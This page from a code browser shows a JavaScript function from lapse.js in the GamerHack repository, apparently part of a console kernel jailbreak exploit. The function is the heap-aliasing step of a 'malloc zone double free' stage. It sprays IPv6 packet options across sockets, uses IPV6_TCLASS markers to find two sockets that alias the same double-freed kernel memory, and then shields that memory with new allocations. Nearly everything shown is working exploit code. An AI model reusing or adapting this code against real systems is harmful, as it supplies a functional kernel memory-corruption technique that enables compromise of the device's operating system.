MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_aliased_pktopts

Function make_aliased_pktopts

g2all/700/lapse.js:995–1029  ·  view source on GitHub ↗
(sds)

Source from the content-addressed store, hash-verified

993// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
994
995function make_aliased_pktopts(sds) {
996 const tclass = new Word();
997 for (let loop = 0; loop < num_alias; loop++) {
998 for (let i = 0; i < num_sds; i++) {
999 setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
1000 }
1001
1002 for (let i = 0; i < num_sds; i++) {
1003 tclass[0] = i;
1004 ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
1005 }
1006
1007 for (let i = 0; i < sds.length; i++) {
1008 gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
1009 const marker = tclass[0];
1010 if (marker !== i) {
1011 log(`aliased pktopts at attempt: ${loop}`);
1012 const pair = [sds[i], sds[marker]];
1013 log(`found pair: ${pair}`);
1014 sds.splice(marker, 1);
1015 sds.splice(i, 1);
1016 // add pktopts to the new sockets now while new allocs can't
1017 // use the double freed memory
1018 for (let i = 0; i < 2; i++) {
1019 const sd = new_socket();
1020 ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
1021 sds.push(sd);
1022 }
1023
1024 return pair;
1025 }
1026 }
1027 }
1028 die("failed to make aliased pktopts");
1029}
1030
1031function double_free_reqs1(reqs1_addr, kbuf_addr, target_id, evf, sd, sds) {
1032 const max_leak_len = (0xff + 1) << 3;

Callers 1

double_free_reqs1Function · 0.70

Calls 6

logFunction · 0.90
dieFunction · 0.90
setsockoptFunction · 0.70
ssockoptFunction · 0.70
gsockoptFunction · 0.70
new_socketFunction · 0.70

Tested by

no test coverage detected